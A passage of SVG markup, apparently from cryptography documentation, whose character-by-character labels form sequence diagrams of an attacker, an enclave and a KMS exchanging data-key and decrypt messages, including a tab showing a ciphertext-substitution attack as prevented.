<path d="M 216,528 L 224,528" fill="none" stroke="currentColor"></path>
<path d="M 232,528 L 248,528" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 472,576" fill="none" stroke="currentColor"></path>
<path d="M 264,624 L 272,624" fill="none" stroke="currentColor"></path>
<path d="M 288,624 L 296,624" fill="none" stroke="currentColor"></path>
<path d="M 304,624 L 312,624" fill="none" stroke="currentColor"></path>
<path d="M 320,624 L 328,624" fill="none" stroke="currentColor"></path>
<path d="M 336,624 L 344,624" fill="none" stroke="currentColor"></path>
<path d="M 352,624 L 360,624" fill="none" stroke="currentColor"></path>
<path d="M 368,624 L 376,624" fill="none" stroke="currentColor"></path>
<path d="M 384,624 L 392,624" fill="none" stroke="currentColor"></path>
<path d="M 400,624 L 408,624" fill="none" stroke="currentColor"></path>
<path d="M 416,624 L 424,624" fill="none" stroke="currentColor"></path>
<path d="M 432,624 L 440,624" fill="none" stroke="currentColor"></path>
<path d="M 448,624 L 456,624" fill="none" stroke="currentColor"></path>
<path d="M 464,624 L 472,624" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 280,656" fill="none" stroke="currentColor"></path>
<path d="M 312,688 L 320,688" fill="none" stroke="currentColor"></path>
<path d="M 264,704 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 0,736 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 496,736" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 0,736" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 48,752" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,128" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,224 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,480 L 256,576" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 256,656" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 256,752" fill="none" stroke="currentColor"></path>
<path d="M 280,128 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 280,400 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 280,656 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 480,16 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 480,752" fill="none" stroke="currentColor"></path>
<path d="M 496,464 L 496,736" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 256,456" fill="none" stroke="currentColor"></path>
<path d="M 256,472 L 256,480" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,224.000000 52.000000,218.399994 52.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 224.000000)"></polygon>
<polygon points="256.000000,272.000000 244.000000,266.399994 244.000000,277.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 272.000000)"></polygon>
<polygon points="256.000000,528.000000 244.000000,522.400024 244.000000,533.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 528.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,176.000000 260.000000,170.399994 260.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 176.000000)"></polygon>
<polygon points="272.000000,368.000000 260.000000,362.399994 260.000000,373.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 368.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="272.000000,624.000000 260.000000,618.400024 260.000000,629.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 624.000000)"></polygon>
<polygon points="272.000000,704.000000 260.000000,698.400024 260.000000,709.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 704.000000)"></polygon>
<polygon points="328.000000,688.000000 316.000000,682.400024 316.000000,693.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 688.000000)"></polygon>
<polygon points="392.000000,416.000000 380.000000,410.399994 380.000000,421.600006" fill="currentColor" transform="rotate(0.000000, 384.000000, 416.000000)"></polygon>
<polygon points="480.000000,48.000000 468.000000,42.400002 468.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 472.000000, 48.000000)"></polygon>
<polygon points="480.000000,320.000000 468.000000,314.399994 468.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 320.000000)"></polygon>
<polygon points="480.000000,576.000000 468.000000,570.400024 468.000000,581.599976" fill="currentColor" transform="rotate(0.000000, 472.000000, 576.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="500" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="260" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="516" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="516" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="260" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="500" fill="currentColor">2</text>
<text text-anchor="middle" x="104" y="516" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="500" fill="currentColor">)</text>
<text text-anchor="middle" x="112" y="516" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="468" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="516" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="468" fill="currentColor">K</text>
<text text-anchor="middle" x="128" y="516" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="136" y="516" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="516" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="160" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="516" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="468" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="516" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="184" y="468" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="516" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="516" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="516" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="516" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="564" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="564" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="564" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="564" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="676" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="564" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="676" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="564" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="692" fill="currentColor">P</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="356" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="564" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="612" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="692" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="564" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">C</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="360" y="564" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="612" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="676" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="692" fill="currentColor">≠</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">P</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="356" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="564" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="612" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="676" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="564" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="692" fill="currentColor">P</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="420" fill="currentColor">P</text>
<text text-anchor="middle" x="400" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>


<label class="tabs__label" for="tabs-6-1">Prevented</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 777">
 <g transform="translate(8,16)">
<path d="M 256,48 L 472,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 280,128" fill="none" stroke="currentColor"></path>
<path d="M 264,176 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 56,224 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 56,272 L 64,272" fill="none" stroke="currentColor"></path>
<path d="M 72,272 L 80,272" fill="none" stroke="currentColor"></path>
<path d="M 88,272 L 96,272" fill="none" stroke="currentColor"></path>
<path d="M 104,272 L 112,272" fill="none" stroke="currentColor"></path>
<path d="M 120,272 L 128,272" fill="none" stroke="currentColor"></path>
<path d="M 136,272 L 144,272" fill="none" stroke="currentColor"></path>
<path d="M 152,272 L 160,272" fill="none" stroke="currentColor"></path>
<path d="M 168,272 L 176,272" fill="none" stroke="currentColor"></path>
<path d="M 184,272 L 192,272" fill="none" stroke="currentColor"></path>
<path d="M 200,272 L 208,272" fill="none" stroke="currentColor"></path>
<path d="M 216,272 L 224,272" fill="none" stroke="currentColor"></path>
<path d="M 232,272 L 248,272" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 472,320" fill="none" stroke="currentColor"></path>
<path d="M 264,368 L 272,368" fill="none" stroke="currentColor"></path>
<path d="M 288,368 L 296,368" fill="none" stroke="currentColor"></path>
<path d="M 304,368 L 312,368" fill="none" stroke="currentColor"></path>
<path d="M 320,368 L 328,368" fill="none" stroke="currentColor"></path>
<path d="M 336,368 L 344,368" fill="none" stroke="currentColor"></path>
<path d="M 352,368 L 360,368" fill="none" stroke="currentColor"></path>
<path d="M 368,368 L 376,368" fill="none" stroke="currentColor"></path>
<path d="M 384,368 L 392,368" fill="none" stroke="currentColor"></path>
<path d="M 400,368 L 408,368" fill="none" stroke="currentColor"></path>
<path d="M 416,368 L 424,368" fill="none" stroke="currentColor"></path>
<path d="M 432,368 L 440,368" fill="none" stroke="currentColor"></path>
<path d="M 448,368 L 456,368" fill="none" stroke="currentColor"></path>
<path d="M 464,368 L 472,368" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 280,400" fill="none" stroke="currentColor"></path>
<path d="M 400,416 L 408,416" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 104,464" fill="none" stroke="currentColor"></path>
<path d="M 280,464 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 496,464" fill="none" stroke="currentColor"></path>
<path d="M 56,528 L 64,528" fill="none" stroke="currentColor"></path>
<path d="M 72,528 L 80,528" fill="none" stroke="currentColor"></path>
<path d="M 88,528 L 96,528" fill="none" stroke="currentColor"></path>
<path d="M 104,528 L 112,528" fill="none" stroke="currentColor"></path>
<path d="M 120,528 L 128,528" fill="none" stroke="currentColor"></path>
<path d="M 136,528 L 144,528" fill="none" stroke="currentColor"></path>
<path d="M 152,528 L 160,528" fill="none" stroke="currentColor"></path>
<path d="M 168,528 L 176,528" fill="none" stroke="currentColor"></path>
<path d="M 184,528 L 192,528" fill="none" stroke="currentColor"></path>
<path d="M 200,528 L 208,528" fill="none" stroke="currentColor"></path>
<path d="M 216,528 L 224,528" fill="none" stroke="currentColor"></path>
<path d="M 232,528 L 248,528" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 472,576" fill="none" stroke="currentColor"></path>
<path d="M 264,624 L 272,624" fill="none" stroke="currentColor"></path>
<path d="M 288,624 L 296,624" fill="none" stroke="currentColor"></path>
<path d="M 304,624 L 312,624" fill="none" stroke="currentColor"></path>
<path d="M 320,624 L 328,624" fill="none" stroke="currentColor"></path>
<path d="M 336,624 L 344,624" fill="none" stroke="currentColor"></path>
<path d="M 352,624 L 360,624" fill="none" stroke="currentColor"></path>
<path d="M 368,624 L 376,624" fill="none" stroke="currentColor"></path>
<path d="M 384,624 L 392,624" fill="none" stroke="currentColor"></path>
<path d="M 400,624 L 408,624" fill="none" stroke="currentColor"></path>
<path d="M 416,624 L 424,624" fill="none" stroke="currentColor"></path>
<path d="M 432,624 L 440,624" fill="none" stroke="currentColor"></path>
<path d="M 448,624 L 456,624" fill="none" stroke="currentColor"></path>
<path d="M 464,624 L 472,624" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 280,656" fill="none" stroke="currentColor"></path>
<path d="M 312,688 L 320,688" fill="none" stroke="currentColor"></path>
<path d="M 264,704 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 0,736 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 496,736" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 0,736" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 48,752" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,128" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,224 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,480 L 256,576" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 256,656" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 256,752" fill="none" stroke="currentColor"></path>
<path d="M 280,128 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 280,400 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 280,656 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 480,16 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 480,752" fill="none" stroke="currentColor"></path>
<path d="M 496,464 L 496,736" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,224.000000 52.000000,218.399994 52.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 224.000000)"></polygon>
<polygon points="256.000000,272.000000 244.000000,266.399994 244.000000,277.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 272.000000)"></polygon>
<polygon points="256.000000,528.000000 244.000000,522.400024 244.000000,533.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 528.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,176.000000 260.000000,170.399994 260.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 176.000000)"></polygon>
<polygon points="272.000000,368.000000 260.000000,362.399994 260.000000,373.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 368.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="272.000000,624.000000 260.000000,618.400024 260.000000,629.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 624.000000)"></polygon>
<polygon points="272.000000,704.000000 260.000000,698.400024 260.000000,709.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 704.000000)"></polygon>
<polygon points="328.000000,688.000000 316.000000,682.400024 316.000000,693.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 688.000000)"></polygon>
<polygon points="416.000000,416.000000 404.000000,410.399994 404.000000,421.600006" fill="currentColor" transform="rotate(0.000000, 408.000000, 416.000000)"></polygon>
<polygon points="480.000000,48.000000 468.000000,42.400002 468.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 472.000000, 48.000000)"></polygon>
<polygon points="480.000000,320.000000 468.000000,314.399994 468.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 320.000000)"></polygon>
<polygon points="480.000000,576.000000 468.000000,570.400024 468.000000,581.599976" fill="currentColor" transform="rotate(0.000000, 472.000000, 576.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="500" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="260" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="516" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="516" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="516" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="260" fill="currentColor">,</text>
<text text-anchor="middle" x="112" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="112" y="516" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="120" y="468" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="120" y="516" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="260" fill="currentColor">)</text>
<text text-anchor="middle" x="128" y="468" fill="currentColor">K</text>
<text text-anchor="middle" x="128" y="500" fill="currentColor">2</text>
<text text-anchor="middle" x="128" y="516" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="136" y="500" fill="currentColor">)</text>
<text text-anchor="middle" x="136" y="516" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">C</text>
